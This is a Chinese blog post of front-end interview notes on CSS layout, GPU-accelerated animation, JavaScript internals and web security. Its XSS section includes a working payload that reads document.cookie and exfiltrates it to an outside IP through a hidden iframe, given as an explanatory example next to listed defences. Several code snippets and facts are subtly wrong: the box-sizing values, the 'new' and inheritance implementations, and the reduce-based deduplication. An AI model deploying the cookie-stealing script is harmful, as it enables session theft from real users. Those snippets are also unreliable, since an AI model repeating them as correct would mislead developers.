css

面试题记-CSS篇

https://juejin.im/post/5cdb7bc26fb9a0321557044d

  • 盒模型
box-sizing: box-border // width=padding + border + content 

box-sizing: box-border // width=content


  • 水平居中

justify-content: center //水平
align-items: center // 垂直

left: 50%
transform:translateX(-50%)

margin:0 auto //块及元素


text-align: center //行内元素



  • 垂直居中
line-height //单行文本


.parent::after, .son{
    display:inline-block;
    vertical-align:middle;
}
.parent::after{
    content:'';
    height:100%;
}


  • 三栏布局
.layout{
    display: flex;
    .left{
        width: 300px;
    }
    .right{
        width: 300px;
    }
    .middle{
        flex:1
    }

}



  • 左右等高布局

.layout{
    display:flex;
    .left{
        flex: 0 0 100px; // flex: flex-grow flex:shrink flex-basis
    }
    .right{
        flex:1
    }
}


优化之-css解析器优化

  • css选择符是从右向左开始匹配的,而不是从左向右
#test li(浏览器必须遍历每个li元素,然后确认每个li的父元素是否为#test)
li #test
.test_li(匹配到即可)

  • css优化
1 不要使用通配符
2 使用继承属性,避免重复匹配
3 减少嵌套

  • css阻塞问题
css加载的时候,不会阻碍dom的解析,但是会阻碍dom的渲染(白屏)
同时会阻碍js语句的执行
因为link只能放在head里面


如何开启GPU加速

方法:

  • opacity
  • transform
transform:translateZ(0); // 设置这个属性不影响动画

GPU与CPU?

  • GPU
主要做图形处理,渲染顶点,图像变换,吞吐大,运算大,但是对数据流处理能力没有CPU好

  • CPU
对复杂的数据流控制更好


了解页面卡顿的原因

  • 16ms优化
大多数设备刷新频率60HZ(60次/s),每一次刷新耗时16.6ms(1000/60)
所以在浏览器的每一帧画面要在16ms内完成,这样看起来页面才不会卡顿

  • 浏览器的每一帧做什么?
javascript -> style -> layout -> paint -> composite

js: 实现动画,DOM元素的操作
style: 计算DOM应该运用什么css规则
layout: 计算每个DOM的位置和大小,每个DOM位置变化都要reflow
paint: 在多个层上绘制DOM元素的文字,颜色,图像等
composite:渲染层合并,合并图层显示到屏幕上(layer终极)

GPU为什么能加速

关键: 避免layout paint这两个最耗时的步骤,
javascript -> style -> layout -> paint -> composite
javascript -> style -> composite
可以让每一帧画面在16ms内完成,所以看起来不卡顿

60帧最适合人眼交互,低于30fps一下的动画,让人感觉明显变得卡顿

  • 为什么能避免layout和paint?
 开启GPU后,会将经常变换的DOM提升单独的复合层,就不会改变自己和周围的DOM布局
 所以每一帧内,浏览器就不用不断的回流,重绘
 只需要第一次布局元素,位图绘入元素,将位图同步到绘制器,加载到GPU内存,然后位图从GPU内存绘制到屏幕上
 

GPU加速这么好,那么都用GPU加速行不行?

不行,因为GPU不仅要发送渲染图层到GPU,还要存储他们,一边稍后动画中使用
由此,没创建一个新的渲染层,就要消耗内存和复杂的层管理,特别对于移动设备来说,过多的GPU加速会导致页面卡顿合闪退

GPU导致闪退坑

z-index导致创建意外的复合层

A:{
    z-index: 10 //开启的GPU
} 
B:{
    z-index: 15 //没有开启GPU
} 

由于B在A上面,所以B会被默认开启GPU,导致额外创建新的合成层,过多会导致手机页面闪退,卡顿

渲染一个网页需要两个线程完成

  • 主线程
  • compositor thread(绘制线程)

在有动画,没有开启GPU加速情况下

优化案列

  • 优化前
@keyframes animation {
  0% {
      top: 10px;
  }
  50% {
      top: 30px;
  }
}


  • 优化后
    通过开启GPU加速,避免layout,paint,让动画更流畅
@keyframes animation {
  0% {
      transform: translateY(10px);
  }

  50% {
      transform: translateY(30px);
  }
}


参考链接:
https://github.com/ccforward/cc/issues/42
https://aotu.io/notes/2017/04/11/GPU/

js部分

  • 不借助第三者交换a,b的值
[a,b] = [b,a]



  • new的实现过程

function myNew(fn,...args){
    var obj = {}
    let res = fn.call(obj,args)
    obj._proto_ =  fn.prototype
    return  res instanceof Object ? res : obj
}



继承

  • 直接prototype模式继承
function inherit(child,father){
    // 缺点改变了其构造函数
    child.prototype === father.prototype
    // 每个prototype都有一个constructor指向函数的构造函数
    child.prototype.constructor = child
}

let c = new child()
c.constructor = child // true

// 如果不加child.prototype.constructor = father
c.constructor = father // true
c明明是child构造函数生成的这里的constructor却只向了father导致继承紊乱


上述缺点:
二者都指向了同一个对象,任何对child.prototype修改,就会反应到father.prototyp上来

  • 完美继承,利用控对象
function inherit(child,father){
    function temp(){} //控对象省内存
    temp.prototype = father.prototype
    child.prototype = new temp()
    child.prototype.constructor = child
}

上述怎么实现继承的

let c = new child()
c.age

现在c上找有没有age,没有顺着原型链c._proto_(construcort.prototype)去找
constructor.prototype = new temp()
new temp().age没有
new temp()._proto_ = temp.prototype上找
如此实现继承




实现promise.all

function myPromiseAll(promiseArr){
    // 为了让传入的值不是promise也返回promise
    return new Promise((resolve,reject) => {
        if(!Array.isArray(promiseArr)){
            throw('promiseArr必须为数组')
        }
        let resArr = []
        let len = promiseArr.length;
        let count = 0;
        for(let i = 0; i < len; i++){
            // Promise.resolve将数组中非promise转为promise
            Promise.resolve(promiseArr[i])
            .then(value => {
                count++
                resArr[i] = value
                
                if(count == len) return resolve(resArr)
            })
            .catch(err => {
                return reject(err)
            })
           
        }
    })
    
}

let p1 = Promise.resolve(1)
let p2 = Promise.resolve(2)
let p3 = Promise.resolve(3)

myPromiseAll([p1,p3,p2]).then(res => {
    console.log(res); // [1,3,2]
    
})

JSOP实现跨域原理


script标签的src不受同源策略影响,可以获取服务器脚本执行
jsop通过script标签实现跨域
只能通过url传入,只支持get请求


xss攻击(cross site scirpting)
  • 持续xss攻击,来源数据库

用户A评论内容: 
<script>alert(‘aaa’)</script>,提交给服务器

用户B查看用户A评论内容:
服务器返回:
<script>alert(‘aaa’)</script>


  • 反射性xss
用户点开了恶意链接:
http://xxx?info=<script>alert('aaa')</script>


XSS:脚本注入
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);
CSRF:跨站请求伪造(冒充用户发起请求),一般依赖XSS,也可以通过命令行模式直接伪造

XSS实现:
访问A网站,浏览器对html中的script标签解析,并执行其中脚本,如果脚本包含AJAX请求,
由于script不受同源策略影响,里面的代码可以跨域将用户的cookie信息发送到黑客的服务器,
保存在自己的数据库,而cookie携带了用户的隐私消息,黑客进而可以发邮件,发的等其他业务操作;
这里还只是存储了cookie信息,没有伪造客服发送请求只能叫XSS攻击
解决:
1、既然script标签有问题,那么久用htmlspecialchars(xx),可以将script标签过滤成安全字符
2、将scrpt转换成Unicode编码注入,可以对Unicode反编译过后,再用htmlspecialchars
3、尽量使用innerText(IE)和textContent(FF),若一定要使用innerHTML时记得做过滤
4、在输出html时,加上Content Security Policy的Http Header
5、在开发API时,检验请求的Referer参数

CSRF攻击:
1、当获取到用户的从cookie后进行分析,可以伪装成客户发送请求,比如登录网址,发碟,改名字等等
2、验证码,黑客网站是获取不到用户session的验证码或者加taken,
3、post代替get可以了
方位A网站,生成了cookie,然后访问黑客网站,黑客网站截取到了URL,冒充用户发送请求
所以安全的关键就是保护好cookie:
1、通过escape对字符串编码,,可以正常显示但不会被当做标签来解析
2、设置httponly,js无法读取cookie
encodeURI//不会对ASCII码和数字以及标点符号例如- _ . ! ~ * ' ( ) 。但是<要
首先


参考文章:https://www.cnblogs.com/caizhenbo/p/6836390.html

数组去重复

  • Es6
funtion uniq(arr){
    return [...new Set(arr)]
}

  • includes

function uniq(arry) {
    var res = [];
    for (var i = 0; i < arry.length; i++) {
        if (!res.includes(arry[i])) {
            res.push(arry[i])
        }
    }
    return res;
}


  • reduce
funtion unit(arr){
    arr.reduce((pre,cur) => {
        pre.includes(cur) ? pre : pre.push(cur)
    },[])
}


import和module.exports理解

  • js中的假值

undefined null NaN 0 '' false
"" ,new Number(0) , new Boolean(false); //不是

  • console.log(typeof typeof 1); // typeof ‘number’ = string
  • 块及作用域问题

(() => {
  let x, y;
  try {
    throw new Error();
  } catch (x) {
    (x = 1)// x为catch的x,块及作用域
    (y = 2); // let定义的y
    console.log(x); // 1
  }
  console.log(x); // undefined
  console.log(y); // 2
})();



  • js中只有原始类型(7基本类型)和对象
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值